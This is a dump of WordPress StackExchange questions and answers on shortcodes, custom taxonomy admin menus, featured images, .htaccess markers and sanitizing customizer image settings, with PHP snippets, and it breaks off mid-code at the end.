[ { "answer_id": 282079, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 1, "selected": false, "text": "<p>you can do this with a shortcode like this</p>\n\n<pre><code>add_shortcode(\"custom_text_se282078\", function ($attr, $content, $tag) {\n\n $result = \"\";\n\n if (date_i18n(\"H\") &gt; $attr[\"time\"]) {\n $result = $attr[\"text_after\"];\n } else {\n $result = $attr[\"text_before\"];\n }\n\n return $result;\n\n});\n</code></pre>\n\n<p>with that you just have to put that in the page : </p>\n\n<p>[custom_text_se282078 time=\"10\" text_before=\"text before 10 h\" text_after=\"texte after 10 h\"]</p>\n" }, { "answer_id": 282377, "author": "E. Jaep", "author_id": 126698, "author_profile": "https://wordpress.stackexchange.com/users/126698", "pm_score": 0, "selected": false, "text": "<p>Based on @mmm answer, my code look like this:</p>\n\n<pre><code>extract(shortcode_atts(array(\n 'start' =&gt; ''\n), $attributes));\n\nextract(shortcode_atts(array(\n 'end' =&gt; ''\n), $attributes));\n\nif (($start_timestamp = strtotime($start)) === false) {\n $error = new WP_Error('unable to parse', 'Unable to parse start timestamp', $start);\n scheduler_log($error);\n return '';\n}\n\nif (($end_timestamp = strtotime($end)) === false) {\n $error = new WP_Error('unable to parse', 'Unable to parse end timestamp', $end);\n scheduler_log($error);\n return '';\n}\n\ndate_default_timezone_set(\"Europe/Zurich\");\n$now = strtotime(\"now\");\n\nif($now&gt;=$start_timestamp &amp;&amp; $now&lt;=$end_timestamp){\n return $content;\n}\nelse{\n return '';\n}\n</code></pre>\n" }, { "answer_id": 283751, "author": "Daniel J. Mount", "author_id": 116828, "author_profile": "https://wordpress.stackexchange.com/users/116828", "pm_score": 0, "selected": false, "text": "<p>If you want a non-shortcode based solution, the free Revisionary Plugin offers this functionality: <a href=\"https://wordpress.org/plugins/revisionary/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/revisionary/</a></p>\n\n<p>One important note: The plugin hasn't been updated in several years. I have used it in the past and it has worked well in the past. However, I don't know if it is still under active development.</p>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282078", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126698/" ]
Our clients would like to schedule changes made to a given **page** (for instance by displaying the link to register to an event). Typically, the same page (/registration) should display (before the registration opening): "The registrations will be open by ..." Once the time comes, the same page should display: "Registrer by clicking on this link..." I tried to follow the below procedure, but it doesn't help: <https://en.support.wordpress.com/schedule-a-page/> Is there a way to have 2 versions (or revision - one published and one as draft) where the draft version would become published automatically? Or a way to have two different pages sharing the same url (one being published until a given date and the other one getting published right after the first gets unpublished)? Preferably, this procedure should not involve a developer every time a bit of text is changed on a page. Thanks in advance
you can do this with a shortcode like this ``` add_shortcode("custom_text_se282078", function ($attr, $content, $tag) { $result = ""; if (date_i18n("H") > $attr["time"]) { $result = $attr["text_after"]; } else { $result = $attr["text_before"]; } return $result; }); ``` with that you just have to put that in the page : [custom\_text\_se282078 time="10" text\_before="text before 10 h" text\_after="texte after 10 h"]
282,086
<p>I have made custom taxonomies that I am using for few different post types:</p> <pre><code>&lt;?php add_action('init', function() { register_post_type('intranet-categories', [ 'labels' =&gt; [ 'name' =&gt; 'Kategorier', 'singular_name' =&gt; 'Kategorier', 'menu_name' =&gt; 'Kategorier', 'name_admin_bar' =&gt; 'Kategorier', 'add_new' =&gt; 'Legg til ny', 'add_new_item' =&gt; 'Ny Kategori', 'new_item' =&gt; 'Ny Kategori', 'edit_item' =&gt; 'Rediger Kategori', 'view_item' =&gt; 'Vis Kategori', 'all_items' =&gt; 'Alle Kategorier', 'search_items' =&gt; 'Søk', 'parent_item_colon' =&gt; 'Forelder', 'not_found' =&gt; 'Fant ingen Kategori.', 'not_found_in_trash' =&gt; 'Fant ingen Kategori i søppelkassen.', ], 'description' =&gt; 'Kategori', 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'intranet-categories'], 'capability_type' =&gt; 'post', 'has_archive' =&gt; true, 'hierarchical' =&gt; false, 'menu_position' =&gt; null, 'menu_icon' =&gt; 'dashicons-editor-ol', 'supports' =&gt; ['title', 'editor', 'excerpt', 'thumbnail'], 'capability_type' =&gt; 'custom_post_type', 'capabilities' =&gt; ['create_posts' =&gt; false], ]); register_taxonomy('department', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Avdeling', 'singular_name' =&gt; 'Avdeling', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle avdelinger', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger avdeling', 'update_item' =&gt; 'Oppdater avdeling', 'add_new_item' =&gt; 'Opprett avdeling', 'new_item_name' =&gt; 'Ny avdeling', 'menu_name' =&gt; 'Avdelinger', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'avdeling'], ]); register_taxonomy('region', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Region', 'singular_name' =&gt; 'Region', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle region', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger Region', 'update_item' =&gt; 'Oppdater Region', 'add_new_item' =&gt; 'Opprett Region', 'new_item_name' =&gt; 'Ny Region', 'menu_name' =&gt; 'Regioner', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'avdeling'], ]); register_taxonomy('industry', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Bransje', 'singular_name' =&gt; 'Bransje', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle bransjer', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger bransje', 'update_item' =&gt; 'Oppdater bransje', 'add_new_item' =&gt; 'Opprett bransje', 'new_item_name' =&gt; 'Ny bransje', 'menu_name' =&gt; 'Bransjer', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'bransje'], ] ); register_taxonomy('role', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Rolle', 'singular_name' =&gt; 'Rolle', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle roller', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger rolle', 'update_item' =&gt; 'Oppdater rolle', 'add_new_item' =&gt; 'Opprett rolle', 'new_item_name' =&gt; 'Ny rolle', 'menu_name' =&gt; 'Roller', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'rolle'], ] ); register_taxonomy('company', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Selskap', 'singular_name' =&gt; 'Selskap', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle selskaper', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger selskap', 'update_item' =&gt; 'Oppdater selskap', 'add_new_item' =&gt; 'Opprett selskap', 'new_item_name' =&gt; 'Ny selskap', 'menu_name' =&gt; 'Selskaper', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'selskap'], ] ); }); </code></pre> <p>What I would like to do is to hide the created custom taxonomies in the admin menu for <code>intranet-post</code> type, and only have them visible in the admin menu for <code>intranet-categories</code>, since I only want to edit those custom taxonomies and add terms to them from <code>intranet-categories</code> post type. I have tried something to do that like this:</p> <pre><code>function remove_taxonomy_submenu_pages() { $categories = get_object_taxonomies('intranet-categories'); foreach($categories as $category) { remove_menu_page( 'edit.php', 'edit-tags.php?taxonomy=' . $category . '&amp;post_type=intranet-post' ); } } add_action( 'admin_menu', 'remove_taxonomy_submenu_pages', 20); </code></pre> <p>But, that didn't work, what is the correct way to do this?</p>
[ { "answer_id": 282087, "author": "Randomer11", "author_id": 62291, "author_profile": "https://wordpress.stackexchange.com/users/62291", "pm_score": 0, "selected": false, "text": "<p>You could use a plugin such as : <a href=\"https://en-gb.wordpress.org/plugins/admin-menu-editor/\" rel=\"nofollow noreferrer\">https://en-gb.wordpress.org/plugins/admin-menu-editor/</a> </p>\n\n<p>Which enables you to remove menu items for different role groups. Used along with a user role editor plugin you can pretty much narrow down everything for a nice clean admin panel for a certain role</p>\n" }, { "answer_id": 282088, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 1, "selected": false, "text": "<p>Referencing register_taxonomy() \n <a href=\"https://codex.wordpress.org/Function_Reference/register_taxonomy\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/register_taxonomy</a></p>\n\n<p><strong>show_in_menu</strong>\nWhere to show the taxonomy in the admin menu. show_ui must be true.</p>\n\n<p>Default: value of show_ui argument</p>\n\n<ul>\n<li><p>'false' - do not display in the admin menu</p></li>\n<li><p>'true' - show as a submenu of associated object types</p></li>\n</ul>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282086", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115898/" ]
I have made custom taxonomies that I am using for few different post types: ``` <?php add_action('init', function() { register_post_type('intranet-categories', [ 'labels' => [ 'name' => 'Kategorier', 'singular_name' => 'Kategorier', 'menu_name' => 'Kategorier', 'name_admin_bar' => 'Kategorier', 'add_new' => 'Legg til ny', 'add_new_item' => 'Ny Kategori', 'new_item' => 'Ny Kategori', 'edit_item' => 'Rediger Kategori', 'view_item' => 'Vis Kategori', 'all_items' => 'Alle Kategorier', 'search_items' => 'Søk', 'parent_item_colon' => 'Forelder', 'not_found' => 'Fant ingen Kategori.', 'not_found_in_trash' => 'Fant ingen Kategori i søppelkassen.', ], 'description' => 'Kategori', 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'rewrite' => ['slug' => 'intranet-categories'], 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => null, 'menu_icon' => 'dashicons-editor-ol', 'supports' => ['title', 'editor', 'excerpt', 'thumbnail'], 'capability_type' => 'custom_post_type', 'capabilities' => ['create_posts' => false], ]); register_taxonomy('department', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Avdeling', 'singular_name' => 'Avdeling', 'search_items' => 'Søk', 'all_items' => 'Alle avdelinger', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger avdeling', 'update_item' => 'Oppdater avdeling', 'add_new_item' => 'Opprett avdeling', 'new_item_name' => 'Ny avdeling', 'menu_name' => 'Avdelinger', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'avdeling'], ]); register_taxonomy('region', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Region', 'singular_name' => 'Region', 'search_items' => 'Søk', 'all_items' => 'Alle region', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger Region', 'update_item' => 'Oppdater Region', 'add_new_item' => 'Opprett Region', 'new_item_name' => 'Ny Region', 'menu_name' => 'Regioner', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'avdeling'], ]); register_taxonomy('industry', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Bransje', 'singular_name' => 'Bransje', 'search_items' => 'Søk', 'all_items' => 'Alle bransjer', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger bransje', 'update_item' => 'Oppdater bransje', 'add_new_item' => 'Opprett bransje', 'new_item_name' => 'Ny bransje', 'menu_name' => 'Bransjer', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'bransje'], ] ); register_taxonomy('role', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Rolle', 'singular_name' => 'Rolle', 'search_items' => 'Søk', 'all_items' => 'Alle roller', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger rolle', 'update_item' => 'Oppdater rolle', 'add_new_item' => 'Opprett rolle', 'new_item_name' => 'Ny rolle', 'menu_name' => 'Roller', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'rolle'], ] ); register_taxonomy('company', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Selskap', 'singular_name' => 'Selskap', 'search_items' => 'Søk', 'all_items' => 'Alle selskaper', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger selskap', 'update_item' => 'Oppdater selskap', 'add_new_item' => 'Opprett selskap', 'new_item_name' => 'Ny selskap', 'menu_name' => 'Selskaper', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'selskap'], ] ); }); ``` What I would like to do is to hide the created custom taxonomies in the admin menu for `intranet-post` type, and only have them visible in the admin menu for `intranet-categories`, since I only want to edit those custom taxonomies and add terms to them from `intranet-categories` post type. I have tried something to do that like this: ``` function remove_taxonomy_submenu_pages() { $categories = get_object_taxonomies('intranet-categories'); foreach($categories as $category) { remove_menu_page( 'edit.php', 'edit-tags.php?taxonomy=' . $category . '&post_type=intranet-post' ); } } add_action( 'admin_menu', 'remove_taxonomy_submenu_pages', 20); ``` But, that didn't work, what is the correct way to do this?
Referencing register\_taxonomy() <https://codex.wordpress.org/Function_Reference/register_taxonomy> **show\_in\_menu** Where to show the taxonomy in the admin menu. show\_ui must be true. Default: value of show\_ui argument * 'false' - do not display in the admin menu * 'true' - show as a submenu of associated object types
282,104
<p>Are there any dependencies on which shortcode depends?</p> <p><code>[news_weber][/news_weber]</code> → Didn't work, but when used with <code>do_shortcode</code> method it worked.</p> <p>I installed <a href="https://downloads.wordpress.org/plugin/shortcodes-ultimate.latest-stable.zip" rel="nofollow noreferrer">Ultimate shortcode plugin</a> to check whether that works or not. all the shortcodes of that plugin worked, strangely as soon as that plugin was installed my custom shortcodes also worked and as soon as uninstalled my custom shortcodes stopped working. what is the connection?</p> <p>are there any dependencies that are not included in my theme and they get included as soon as some third-party plugin is installed?</p> <h1>Update →</h1> <ol> <li>The shortcode works if used in the <code>post(edit mode) editor</code>, and</li> <li>It also works with <code>do_shortcode</code> method, but</li> <li>It doesn't work when we use the default text widget and place our shortcode there. However, it works here also If we install the plugin as I told you above.</li> </ol> <p><a href="https://i.stack.imgur.com/muBQG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/muBQG.png" alt="enter image description here"></a></p> <p><strong>what is the issue?</strong></p> <h1>Update 2: Code →</h1> <pre><code>function burner() { ob_start(); $random=rand(1,10000); ?&gt; //some code &lt;?php return ob_get_clean(); } add_shortcode('news_burner', 'burner'); </code></pre> <h1>Update #3</h1> <p>Shortcodes are plugin territory so I transferred them to a plugin, but the same problem they do not work, but when I install a 3rd party plugin as stated above they do work.</p>
[ { "answer_id": 282123, "author": "Patrice Poliquin", "author_id": 32365, "author_profile": "https://wordpress.stackexchange.com/users/32365", "pm_score": 0, "selected": false, "text": "<p>Based on your question and my understanding of your question, you have to make sure that your shortcode is called from your functions files.</p>\n\n<p>First, you need to write <code>&lt;?php echo do_shortcode(\"[news_weber]\"); ?&gt;</code> in order to make it work by PHP. Based on your question, I think you do not need the closing bracket since shortcodes can be self-closed.</p>\n\n<p>Documentation : <a href=\"https://developer.wordpress.org/reference/functions/do_shortcode/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/do_shortcode/</a></p>\n\n<p>But even if you typed this correctly, you still need to give the access to this shortcode in your function file.</p>\n\n<p>You could create a custom file named <code>shortcodes.php</code> and call it from your <code>functions.php</code> file.</p>\n\n<pre><code>if ( ! function_exists( 'my_theme_setup' ) ) :\n\n function my_theme_setup() {\n\n // Custom shortcodes\n require_once( \"inc/shortcodes.php\" );\n}\n\nendif;\n\nadd_action( \"after_setup_theme\", \"my_theme_setup\" );\n</code></pre>\n\n<p>And in your <code>shortcode.php</code> file you can call your function.</p>\n\n<pre><code>function news_weber_func( $atts ) {\n // Your custom code\n}\nadd_shortcode( 'news_weber', 'news_weber_func' );\n</code></pre>\n\n<p>Official documentation : <a href=\"https://codex.wordpress.org/Function_Reference/add_shortcode\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/add_shortcode</a></p>\n\n<p>I hope it will help you.</p>\n" }, { "answer_id": 282146, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": true, "text": "<h2>Problem 1</h2>\n\n<p>It doesn't work because you're using <code>new_weber</code> but you're registering <code>news_burner</code>, and they aren't the same</p>\n\n<p>So instead use:</p>\n\n<p><code>[news_burner]</code></p>\n\n<p>You only need a closing shortcode if it's containing content which that plugin does not.</p>\n\n<h2>Problem 2</h2>\n\n<p>Shortcodes don't work in text widgets out of the box, you can add that functionality via a plugin though, see this question/answer:</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/questions/156222/shortcode-in-text-widget-not-working/156229\">Shortcode in Text Widget not working</a></p>\n\n<p>This is why it works with <code>do_shortcode</code> but not in widgets. It'll also work in post content</p>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282104", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
Are there any dependencies on which shortcode depends? `[news_weber][/news_weber]` → Didn't work, but when used with `do_shortcode` method it worked. I installed [Ultimate shortcode plugin](https://downloads.wordpress.org/plugin/shortcodes-ultimate.latest-stable.zip) to check whether that works or not. all the shortcodes of that plugin worked, strangely as soon as that plugin was installed my custom shortcodes also worked and as soon as uninstalled my custom shortcodes stopped working. what is the connection? are there any dependencies that are not included in my theme and they get included as soon as some third-party plugin is installed? Update → ======== 1. The shortcode works if used in the `post(edit mode) editor`, and 2. It also works with `do_shortcode` method, but 3. It doesn't work when we use the default text widget and place our shortcode there. However, it works here also If we install the plugin as I told you above. [![enter image description here](https://i.stack.imgur.com/muBQG.png)](https://i.stack.imgur.com/muBQG.png) **what is the issue?** Update 2: Code → ================ ``` function burner() { ob_start(); $random=rand(1,10000); ?> //some code <?php return ob_get_clean(); } add_shortcode('news_burner', 'burner'); ``` Update #3 ========= Shortcodes are plugin territory so I transferred them to a plugin, but the same problem they do not work, but when I install a 3rd party plugin as stated above they do work.
Problem 1 --------- It doesn't work because you're using `new_weber` but you're registering `news_burner`, and they aren't the same So instead use: `[news_burner]` You only need a closing shortcode if it's containing content which that plugin does not. Problem 2 --------- Shortcodes don't work in text widgets out of the box, you can add that functionality via a plugin though, see this question/answer: [Shortcode in Text Widget not working](https://wordpress.stackexchange.com/questions/156222/shortcode-in-text-widget-not-working/156229) This is why it works with `do_shortcode` but not in widgets. It'll also work in post content
282,133
<p>Is there a way or a plugin to set a featured image from the first image's url (or tag) posted in the article?</p>
[ { "answer_id": 282197, "author": "Maqk", "author_id": 86885, "author_profile": "https://wordpress.stackexchange.com/users/86885", "pm_score": 0, "selected": false, "text": "<p>You can display the first image from your post content as a but can't set that as a featured image, but you can display it.</p>\n\n<p>Create a function to find the first tag from the post content starting with <code>&lt;img&gt;</code> element using regex and echo the image where you wish to display the first image. In the below function we use <code>ob_start()</code> which creates a buffer which output is written to.</p>\n\n<p>The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output.</p>\n\n<pre><code>&lt;?php\nfunction prefix_get_first_image() {\n global $post, $posts;\n $first_image = '';\n ob_start();\n ob_end_clean();\n //Regex to only fetch .JPG extension images\n //$output = preg_match_all( '/&lt;img ([^&gt;]* )?src=[\\\"\\']([^\\\"\\']*\\.jpe?g)[\\\"\\']/Ui', $post-&gt;post_content, $matches );\n\n $output = preg_match_all( '/&lt;img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*&gt;/i', $post-&gt;post_content, $matches );\n $first_img = $matches [1] [0];\n\n // Define the default image if no img is inserted in the content\n if ( empty( $first_image ) ) {\n $first_image = get_template_directory_uri() . '/images/default-image.jpg';\n }\n return $first_image;\n}\n?&gt;\n</code></pre>\n\n<p>Now where you want to display the image place the following function and echo it.</p>\n\n<pre><code>&lt;?php echo prefix_get_first_image(); ?&gt;\n</code></pre>\n\n<p>I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.</p>\n" }, { "answer_id": 282206, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": -1, "selected": false, "text": "<p>Try the below plugin for set first image in the content to feature.</p>\n\n<pre><code>https://wordpress.org/plugins/get-first-image-set-as-featured-image/\nhttps://wordpress.org/plugins/quick-featured-images/\n</code></pre>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282133", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129190/" ]
Is there a way or a plugin to set a featured image from the first image's url (or tag) posted in the article?
You can display the first image from your post content as a but can't set that as a featured image, but you can display it. Create a function to find the first tag from the post content starting with `<img>` element using regex and echo the image where you wish to display the first image. In the below function we use `ob_start()` which creates a buffer which output is written to. The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output. ``` <?php function prefix_get_first_image() { global $post, $posts; $first_image = ''; ob_start(); ob_end_clean(); //Regex to only fetch .JPG extension images //$output = preg_match_all( '/<img ([^>]* )?src=[\"\']([^\"\']*\.jpe?g)[\"\']/Ui', $post->post_content, $matches ); $output = preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches ); $first_img = $matches [1] [0]; // Define the default image if no img is inserted in the content if ( empty( $first_image ) ) { $first_image = get_template_directory_uri() . '/images/default-image.jpg'; } return $first_image; } ?> ``` Now where you want to display the image place the following function and echo it. ``` <?php echo prefix_get_first_image(); ?> ``` I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.
282,142
<p>I use insert_with_markers in a couple of my plugins to add some small bits of code to the htaccess file. What I'm unclear about is how to remove the code and markers.</p> <p>For example, if I call the function like this:-</p> <pre><code>insert_with_markers($htaccess, "marker","RewriteBase /foobar"); </code></pre> <p>The result in htaccess is:-</p> <pre><code># BEGIN marker RewriteBase /foobar # END marker </code></pre> <p>I can use insert_with_markers, with an empty string, like so:-</p> <pre><code>insert_with_markers($htaccess, "marker",""); </code></pre> <p>Which removes all the code, but the markers remain, like this:-</p> <pre><code># BEGIN marker # END marker </code></pre> <p>Does anybody know of a clean way to remove the markers as well?... that doesn't involve filtering the htaccess file with regex? I would like to be able to uninstall my plugins and remove all the traces if possible.</p>
[ { "answer_id": 282197, "author": "Maqk", "author_id": 86885, "author_profile": "https://wordpress.stackexchange.com/users/86885", "pm_score": 0, "selected": false, "text": "<p>You can display the first image from your post content as a but can't set that as a featured image, but you can display it.</p>\n\n<p>Create a function to find the first tag from the post content starting with <code>&lt;img&gt;</code> element using regex and echo the image where you wish to display the first image. In the below function we use <code>ob_start()</code> which creates a buffer which output is written to.</p>\n\n<p>The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output.</p>\n\n<pre><code>&lt;?php\nfunction prefix_get_first_image() {\n global $post, $posts;\n $first_image = '';\n ob_start();\n ob_end_clean();\n //Regex to only fetch .JPG extension images\n //$output = preg_match_all( '/&lt;img ([^&gt;]* )?src=[\\\"\\']([^\\\"\\']*\\.jpe?g)[\\\"\\']/Ui', $post-&gt;post_content, $matches );\n\n $output = preg_match_all( '/&lt;img.+src=[\\'\"]([^\\'\"]+)[\\'\"].*&gt;/i', $post-&gt;post_content, $matches );\n $first_img = $matches [1] [0];\n\n // Define the default image if no img is inserted in the content\n if ( empty( $first_image ) ) {\n $first_image = get_template_directory_uri() . '/images/default-image.jpg';\n }\n return $first_image;\n}\n?&gt;\n</code></pre>\n\n<p>Now where you want to display the image place the following function and echo it.</p>\n\n<pre><code>&lt;?php echo prefix_get_first_image(); ?&gt;\n</code></pre>\n\n<p>I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.</p>\n" }, { "answer_id": 282206, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": -1, "selected": false, "text": "<p>Try the below plugin for set first image in the content to feature.</p>\n\n<pre><code>https://wordpress.org/plugins/get-first-image-set-as-featured-image/\nhttps://wordpress.org/plugins/quick-featured-images/\n</code></pre>\n" } ]
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282142", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/87826/" ]
I use insert\_with\_markers in a couple of my plugins to add some small bits of code to the htaccess file. What I'm unclear about is how to remove the code and markers. For example, if I call the function like this:- ``` insert_with_markers($htaccess, "marker","RewriteBase /foobar"); ``` The result in htaccess is:- ``` # BEGIN marker RewriteBase /foobar # END marker ``` I can use insert\_with\_markers, with an empty string, like so:- ``` insert_with_markers($htaccess, "marker",""); ``` Which removes all the code, but the markers remain, like this:- ``` # BEGIN marker # END marker ``` Does anybody know of a clean way to remove the markers as well?... that doesn't involve filtering the htaccess file with regex? I would like to be able to uninstall my plugins and remove all the traces if possible.
You can display the first image from your post content as a but can't set that as a featured image, but you can display it. Create a function to find the first tag from the post content starting with `<img>` element using regex and echo the image where you wish to display the first image. In the below function we use `ob_start()` which creates a buffer which output is written to. The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output. ``` <?php function prefix_get_first_image() { global $post, $posts; $first_image = ''; ob_start(); ob_end_clean(); //Regex to only fetch .JPG extension images //$output = preg_match_all( '/<img ([^>]* )?src=[\"\']([^\"\']*\.jpe?g)[\"\']/Ui', $post->post_content, $matches ); $output = preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches ); $first_img = $matches [1] [0]; // Define the default image if no img is inserted in the content if ( empty( $first_image ) ) { $first_image = get_template_directory_uri() . '/images/default-image.jpg'; } return $first_image; } ?> ``` Now where you want to display the image place the following function and echo it. ``` <?php echo prefix_get_first_image(); ?> ``` I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.
282,149
<p>My code is like that </p> <pre><code>$wp_customize-&gt;add_setting( 'scroll_logo', array( 'default' =&gt; '', 'capability' =&gt; 'edit_theme_options', 'sanitize_callback' =&gt; 'esc_attr', ) ); $wp_customize-&gt;add_control( new WP_Customize_Cropped_Image_Control( $wp_customize, 'scroll_logo', array( 'section' =&gt; 'title_tagline', 'label' =&gt; __( 'Upload Scroll Logo', 'bar-restaurant' ), 'description' =&gt; __( 'Logo Size (120 * 60)', 'bar-restaurant' ), 'flex_width' =&gt; true, 'flex_height' =&gt; true, 'width' =&gt; 120, 'height' =&gt; 50, 'priority' =&gt; 19, 'default-image' =&gt; '', ) ) ); </code></pre>
[ { "answer_id": 282420, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 2, "selected": false, "text": "<p>It's always a good idea to sanitize values being accepted from the user. A <code>WP_Customize_Cropped_Image_Control</code> will populate its associated setting with an attachment ID. Thus you could use <code>absint</code> as the sanitizing function. </p>\n\n<p>Remember that <code>esc_attr</code> is an escaping function and should only be used when printing out a value to the page, and here particularly in an HTML attribute. Note also that <code>esc_url_raw()</code> is not an escaping function, despite its name, but rather is actually a sanitizing function.</p>\n" }, { "answer_id": 412615, "author": "Jesse Nickles", "author_id": 152624, "author_profile": "https://wordpress.stackexchange.com/users/152624", "pm_score": 1, "selected": false, "text": "<p>A good image file sanitizer example:</p>\n<pre><code>function ic_sanitize_image( $file, $setting ) {\n\n $mimes = array(\n 'jpg|jpeg|jpe' =&gt; 'image/jpeg',\n 'gif' =&gt; 'image/gif',\n 'png' =&gt; 'image/png',\n 'bmp' =&gt; 'image/bmp',\n 'tif|tiff' =&gt; 'image/tiff',\n 'ico' =&gt; 'image/x-icon'\n );\n\n //check file type from file name\n $file_ext = wp_check_filetype( $file, $mimes );\n\n //if file has a valid mime type return it, otherwise return default\n return ( $file_ext['ext'] ? $file : $setting-&gt;default );\n}\n</code></pre>\n<p>How to implement it:</p>\n<pre><code>$wp_customize-&gt;add_setting( 'logo', array(\n 'capability' =&gt; 'edit_theme_options',\n 'default' =&gt; '',\n 'sanitize_callback' =&gt; 'ic_sanitize_image',\n) );\n$wp_customize-&gt;add_control( new WP_Customize_Image_Control( 